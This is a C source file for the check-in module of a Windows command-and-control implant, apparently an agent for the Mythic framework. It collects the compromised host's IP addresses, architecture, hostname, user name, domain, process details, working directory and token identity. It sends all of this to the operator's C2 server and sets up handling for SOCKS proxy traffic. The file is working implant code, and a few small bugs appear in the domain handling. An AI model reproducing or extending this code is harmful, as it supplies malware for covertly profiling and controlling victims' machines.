#include "checkin.h"
#include "angerona.h"
#include "socks_manager.h"
#include "paquete.h"  // For addCallbackContext
#include "identity.h"  // For IdentityGetUserInfo

#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>


// === Obtener Direcciones IPs ===
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
    PMIB_IPADDRTABLE pTablaDireccionesIP;
    DWORD dwSize = 0;
    DWORD dwRetVal = 0;
    IN_ADDR IPAddr;

    pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
    if (pTablaDireccionesIP) {
        if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
            LocalFree(pTablaDireccionesIP);
            pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
        }
        if (pTablaDireccionesIP == NULL) return NULL;
    } else return NULL;

    if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
        return NULL;
    } else {
        *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
    }

    UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
    for (UINT32 i = 0; i < *numeroDeIPs; i++) {
        IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
        tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
    }

    if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
    return tableOfIPs;
}

// === Obtener arquitectura ===
BYTE obtenerArquitectura() {
    SYSTEM_INFO informacionDelSistema;
    GetNativeSystemInfo(&informacionDelSistema);
    if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
        informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
        return 0x64;
    }
    return 0x86;
}

// === Obtener hostname ===
PCHAR obtenerHostame() {
    LPSTR datos = NULL;
    DWORD dataLen = 0;
    const char* hostnameRep = "N/A";
    if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
        if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
            GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
            hostnameRep = datos;
        }
    }
    return (char*)hostnameRep;
}

// === Obtener usuario ===
char* obtenerUsuarios() {
    LPSTR datos = NULL;
    DWORD dataLen = 0;
    const char* usuario = "N/A";
    if (!GetUserNameA(NULL, &dataLen)) {
        if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
            GetUserNameA(datos, &dataLen);
            usuario = datos;
        }
    }
    return (char*)usuario;
}

// === Obtener dominio ===
LPWSTR obtenerDominio() {
    DWORD dwLevel = 102;
    LPWKSTA_INFO_102 pBuf = NULL;
    PWCHAR dominio = NULL;
    NET_API_STATUS nStatus;
    LPWSTR pszServerName = NULL;

    nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
    if (nStatus == NERR_Success) {
        DWORD length = lstrlenW(pBuf->wki102_langroup);
        dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
        memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
    }
    if (pBuf != NULL) NetApiBufferFree(pBuf);
    return dominio;
}

// === Obtener OS ===
char* getOsName() { return (PCHAR)"Windows"; }

// === Obtener nombre del proceso actual ===
char* obtenerNombreProceso() {
    char* nombreProceso = NULL;
    HANDLE handle = GetCurrentProcess();
    if (handle) {
        DWORD buffSize = 1024;
        CHAR buffer[1024];
        if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
            nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
            memcpy(nombreProceso, buffer, buffSize);
        }
        CloseHandle(handle);
    }
    return nombreProceso;
}

/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }

/* ==========================================================
   Check-in principal con soporte SOCKS
   ========================================================== */
PAnalizador checkin() {
    _inf("Iniciando checkin");

    UINT32 numeroDeIPs = 0;
    PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
    if (!checkin) {
        _err("Error: nuevoPaquete() devolvió NULL en checkin\n");
        return NULL;
    }

    addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
    UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
    addInt32(checkin, numeroDeIPs);
    for (UINT32 i = 0; i < numeroDeIPs; i++) {
        addInt32(checkin, tableOfIPs[i]);
    }

    addString(checkin, getOsName(), TRUE);
    addByte(checkin, obtenerArquitectura());
    addString(checkin, obtenerHostame(), TRUE);
    addString(checkin, obtenerUsuarios(), TRUE);
    addWString(checkin, obtenerDominio(), TRUE);
    addInt32(checkin, GetCurrentProcessId());
    addString(checkin, obtenerNombreProceso(), TRUE);
    addString(checkin, (PCHAR)"1.1.1.1", TRUE);

    // Add callback context with initial cwd and impersonation_context
    // Get current directory and add to callback context
    char initial_cwd[MAX_PATH] = {0};
    if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
        setCurrentDirectoryContext(initial_cwd);  // Initialize global context
        addCallbackContext(checkin, "cwd", initial_cwd);
        _inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
    } else {
        _wrn("Checkin: No se pudo obtener el directorio actual");
    }
    
    // Get current user context (process token) for impersonation_context
    // This will show the user even if there's no impersonation active
    HANDLE hProcessToken = NULL;
    char initial_user[512] = {0};
    BOOL user_context_added = FALSE;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
        if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
            setImpersonationContext(initial_user);  // Initialize global context
            addCallbackContext(checkin, "impersonation_context", initial_user);
            _inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
            user_context_added = TRUE;
        } else {
            _wrn("Checkin: IdentityGetUserInfo falló");
        }
        CloseHandle(hProcessToken);
    } else {
        DWORD error = GetLastError();
        _wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
    }
    
    if (!user_context_added) {
        // If we can't get process token, use the username from obtenerUsuarios()
        // Format: domain\username (we'll use hostname as domain if needed)
        char* username = obtenerUsuarios();
        char* domain = obtenerDominio();
        if (username && strlen(username) > 0) {
            if (domain && wcslen(domain) > 0) {
                // Convert domain from wide char to char
                char domain_narrow[256] = {0};
                WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
                snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
            } else {
                // Use hostname as domain if domain is empty
                char* hostname = obtenerHostame();
                if (hostname && strlen(hostname) > 0) {
                    snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
                } else {
                    strncpy(initial_user, username, sizeof(initial_user) - 1);
                }
            }
            setImpersonationContext(initial_user);
            addCallbackContext(checkin, "impersonation_context", initial_user);
            _inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
        } else {
            _wrn("Checkin: No se pudo obtener username para impersonation_context");
        }
    }
    
    _inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);

    // === When mythic_encrypts=True, agent sends plaintext ===
    // The C2 profile (HTTP) handles encryption at HTTP layer
    // No need for ECC key exchange in checkin
    _dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
    PAnalizador respuestaAnalizador = mandarPaquete(checkin);
    liberarPaquete(checkin);

    if (!respuestaAnalizador) {
        _err("Error: respuestaAnalizador NULL. Cierre inminente");
        return NULL;
    }

    _dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
    procesarSocksEntrante(respuestaAnalizador);

    _dbg("checkin(): completado");
    return respuestaAnalizador;
}
